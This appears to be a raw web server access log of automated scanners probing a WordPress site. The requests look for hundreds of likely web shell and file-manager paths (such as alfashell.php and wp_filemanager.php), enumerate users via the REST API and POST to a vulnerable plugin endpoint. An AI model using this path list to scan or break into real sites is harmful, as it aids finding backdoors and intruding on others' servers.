[17/Apr/2026:20:43:02 +0300] "GET /gptsh.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [17/Apr/2026:20:43:39 +0300] "GET /w3llstore.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [17/Apr/2026:20:42:46 +0300] "GET /tk.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [17/Apr/2026:20:42:49 +0300] "GET /img.php HTTP/1.1" 301 795 "-" "-" 157.20.142.230 - - [17/Apr/2026:20:01:15 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 40.69.66.178 - - [17/Apr/2026:20:43:34 +0300] "GET /css/w3llstore.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [17/Apr/2026:20:43:51 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [17/Apr/2026:20:43:11 +0300] "GET /yas.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [17/Apr/2026:20:43:14 +0300] "GET /bthil.php HTTP/1.1" 301 795 "-" "-" 60.188.57.0 - - [17/Apr/2026:20:43:48 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 40.69.66.178 - - [17/Apr/2026:20:43:19 +0300] "GET /sadcut1.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [17/Apr/2026:20:43:22 +0300] "GET /sd.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [17/Apr/2026:20:43:28 +0300] "GET /000.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [17/Apr/2026:20:43:44 +0300] "GET /css/themes.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [17/Apr/2026:20:43:07 +0300] "GET /left-sidebar.php HTTP/1.1" 301 795 "-" "-" 141.98.11.209 - - [17/Apr/2026:21:20:08 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://wordpress.org/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2.1 Safari/605.1.15" 156.67.26.52 - - [17/Apr/2026:23:39:12 +0300] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.154.98.114 - - [17/Apr/2026:21:50:31 +0300] "GET /wp-admin/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 156.67.26.52 - - [17/Apr/2026:23:37:51 +0300] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.154.98.114 - - [17/Apr/2026:21:50:30 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.114 - - [17/Apr/2026:21:50:31 +0300] "GET /wp-includes/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.114 - - [17/Apr/2026:21:50:30 +0300] "GET /wp-includes/blocks/post-template/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.114 - - [17/Apr/2026:21:50:30 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.114 - - [17/Apr/2026:21:50:30 +0300] "GET /wp-includes/rest-api/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.114 - - [17/Apr/2026:21:50:31 +0300] "GET /schallfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 116.76.38.134 - - [17/Apr/2026:21:46:22 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3179.115 UBrowser/6.2.3964.2 Safari/537.36" 45.154.98.114 - - [17/Apr/2026:21:50:30 +0300] "GET /wp-includes/widgets/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.114 - - [17/Apr/2026:21:50:31 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 20.48.184.58 - - [17/Apr/2026:22:10:14 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 156.67.26.52 - - [17/Apr/2026:23:38:31 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 4.211.104.36 - - [18/Apr/2026:01:23:05 +0300] "GET //sl.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:23:18 +0300] "GET /flox.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:23:31 +0300] "GET /aq.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:24:21 +0300] "GET /dx.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:24:21 +0300] "GET /xff.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:26:08 +0300] "GET /3.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:26:14 +0300] "GET /4.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:26:16 +0300] "GET /5.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:26:20 +0300] "GET /6.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:26:21 +0300] "GET /9.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:26:56 +0300] "GET /111.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:26:57 +0300] "GET /wp1.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:26:59 +0300] "GET /aligk.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:27:02 +0300] "GET /byrgo.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:27:31 +0300] "GET /fine.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:29:36 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:30:55 +0300] "GET /classwithtostring.php?p= HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:31:24 +0300] "GET /wp-update.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:31:40 +0300] "GET /sbhu.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:32:39 +0300] "GET //adminfuns.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:35:39 +0300] "GET //wp-includes/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:38:53 +0300] "GET /file18.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:23:35 +0300] "GET //filemanger2.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:24:10 +0300] "GET //nwflm.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:24:26 +0300] "GET /lupo.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:24:29 +0300] "GET /awa.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:24:52 +0300] "GET /ggb.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:25:25 +0300] "GET /p.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:26:48 +0300] "GET /f35_S.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:26:50 +0300] "GET /2026w.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:27:24 +0300] "GET /no18.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:28:45 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:28:48 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:32:10 +0300] "GET //wp-includes/js/jquery/ HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:32:10 +0300] "GET //wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:33:36 +0300] "GET /wp-the.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:33:40 +0300] "GET //wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:33:40 +0300] "GET /BDKR28WP.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:34:44 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:35:02 +0300] "GET //a1.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:37:26 +0300] "GET /alfashell.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:37:37 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:38:09 +0300] "GET /g.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:39:01 +0300] "GET /vee.php HTTP/1.1" 301 795 "-" "-" 141.255.164.70 - - [18/Apr/2026:02:12:47 +0300] "GET /wp-includes/.cache_key HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.2210.133" 4.211.104.36 - - [18/Apr/2026:01:26:26 +0300] "GET /10.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:28:16 +0300] "GET /uuu.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:28:19 +0300] "GET /sf.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:33:26 +0300] "GET /wp-michan.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:33:58 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:34:38 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:37:45 +0300] "GET /acp.php HTTP/1.1" 301 795 "-" "-" 135.181.180.59 - - [18/Apr/2026:01:38:20 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 4.211.104.36 - - [18/Apr/2026:01:25:31 +0300] "GET /oij98gy.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:28:07 +0300] "GET /inege.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:28:10 +0300] "GET /fe5.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:32:49 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:33:19 +0300] "GET /makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:35:27 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:36:13 +0300] "GET /bal.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:36:44 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:38:22 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:38:22 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:38:36 +0300] "GET /class19.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:39:45 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 20.63.32.193 - - [18/Apr/2026:03:24:40 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 79.110.196.134 - - [18/Apr/2026:04:08:56 +0300] "GET //wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 4.211.104.36 - - [18/Apr/2026:01:22:48 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:25:02 +0300] "GET /wert.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:27:12 +0300] "GET /ass.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:27:16 +0300] "GET //about.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:27:37 +0300] "GET /zample.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:27:39 +0300] "GET /hplfuns.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:31:09 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:31:09 +0300] "GET /tinyfilemanager.php?p= HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:33:06 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:33:06 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:33:50 +0300] "GET //wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:33:50 +0300] "GET /wen.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:34:49 +0300] "GET /fi.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:35:17 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:36:24 +0300] "GET /in.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:36:27 +0300] "GET /gssdd.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:36:52 +0300] "GET /bengi.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:37:55 +0300] "GET /file48.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:39:33 +0300] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 141.255.164.70 - - [18/Apr/2026:02:12:27 +0300] "GET / HTTP/1.1" 301 795 "https://www.linkedin.com/" "Mozilla/5.0 (X11; Linux x86_64) Gecko/20100101 Firefox/118.0.2" 20.189.112.176 - - [18/Apr/2026:03:31:05 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 43.134.28.2 - - [18/Apr/2026:01:02:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 4.211.104.36 - - [18/Apr/2026:01:24:57 +0300] "GET /13.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:25:10 +0300] "GET /11.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:26:30 +0300] "GET /.mopj.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:26:33 +0300] "GET /100.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:27:50 +0300] "GET /xa.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:27:56 +0300] "GET //admin.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:29:06 +0300] "GET /ol.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:30:26 +0300] "GET /bless4.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:30:29 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:30:32 +0300] "GET /xqq.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:32:25 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:36:34 +0300] "GET /motu.php HTTP/1.1" 301 795 "-" "-" 135.181.180.59 - - [18/Apr/2026:01:38:12 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 43.130.26.3 - - [18/Apr/2026:02:23:41 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 175.6.217.4 - - [18/Apr/2026:02:37:18 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 52.138.42.57 - - [18/Apr/2026:03:32:03 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 4.211.104.36 - - [18/Apr/2026:01:22:58 +0300] "GET /file6.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:23:50 +0300] "GET /dx.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:24:48 +0300] "GET /water.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:25:36 +0300] "GET /bthil.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:25:48 +0300] "GET /tea.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:25:50 +0300] "GET /seo.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:25:53 +0300] "GET /7.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:25:56 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:26:00 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:26:03 +0300] "GET /2.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:26:42 +0300] "GET /nano.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:27:06 +0300] "GET //xwpg.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:28:53 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:29:11 +0300] "GET //f6.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:29:42 +0300] "GET //aa.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:29:57 +0300] "GET //av.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:30:12 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:30:36 +0300] "GET /plss3.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:30:40 +0300] "GET /aaa.php?p= HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:31:55 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:32:54 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:32:54 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:32:57 +0300] "GET //cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:32:57 +0300] "GET /fff.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:33:13 +0300] "GET /alpha.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:34:10 +0300] "GET /wp-admin/js/fi.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:34:24 +0300] "GET /fe5.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:34:24 +0300] "GET //wp-content/uploads/2021/02/index.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:35:50 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:35:50 +0300] "GET /prv8.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:36:01 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:36:59 +0300] "GET /wp-content/plugins/pwnd/as.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:37:13 +0300] "GET /axx.php HTTP/1.1" 301 795 "-" "-" 20.166.51.62 - - [18/Apr/2026:02:54:59 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 156.67.27.8 - - [18/Apr/2026:04:08:19 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 4.232.146.182 - - [18/Apr/2026:01:20:56 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:23:26 +0300] "GET /mff.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:23:55 +0300] "GET /wp-vn1.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:23:58 +0300] "GET /ewp.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:24:01 +0300] "GET /kikikoko.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:24:35 +0300] "GET /sadcut1.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:24:44 +0300] "GET /popo.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:25:43 +0300] "GET /turkshell.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:28:24 +0300] "GET /no1.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:28:28 +0300] "GET /w2025.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:28:31 +0300] "GET /fvvff.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:28:34 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:28:38 +0300] "GET //edit.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:28:59 +0300] "GET /a5.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:29:26 +0300] "GET //inputs.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:35:34 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:36:08 +0300] "GET /dev.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:38:27 +0300] "GET /ew.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:38:30 +0300] "GET /file21.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:38:43 +0300] "GET /class20.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:39:06 +0300] "GET /cabs.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:39:10 +0300] "GET /xwx1.php HTTP/1.1" 301 795 "-" "-" 4.211.104.36 - - [18/Apr/2026:01:39:18 +0300] "GET /x1da.php HTTP/1.1" 301 795 "-" "-" 192.36.109.102 - - [18/Apr/2026:02:40:15 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Android 14; Mobile; rv:123.0) Gecko/123.0 Firefox/123" 74.249.158.70 - - [18/Apr/2026:04:39:10 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 118.107.44.122 - - [18/Apr/2026:05:05:22 +0300] "GET / HTTP/1.1" 301 795 "https://www.linkedin.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" 118.107.44.79 - - [18/Apr/2026:05:05:37 +0300] "GET /wp-json/wp/v2/users/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" 118.107.44.116 - - [18/Apr/2026:05:05:37 +0300] "GET / HTTP/1.1" 301 795 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0" 118.107.44.89 - - [18/Apr/2026:05:05:43 +0300] "GET /wp-content/plugins/essential-addons-for-elementor-lite/readme.txt HTTP/1.1" 301 795 "https://t.co/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.3.1 Safari/605.1.15" 52.169.206.229 - - [18/Apr/2026:05:07:02 +0300] "GET /xmu.php HTTP/1.1" 301 795 "-" "-" 118.107.44.123 - - [18/Apr/2026:05:05:27 +0300] "GET /wp-json/wp/v2/users/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" 118.107.44.79 - - [18/Apr/2026:05:05:37 +0300] "POST /wp-content/plugins/wp-automatic/inc/csv.php HTTP/1.1" 301 795 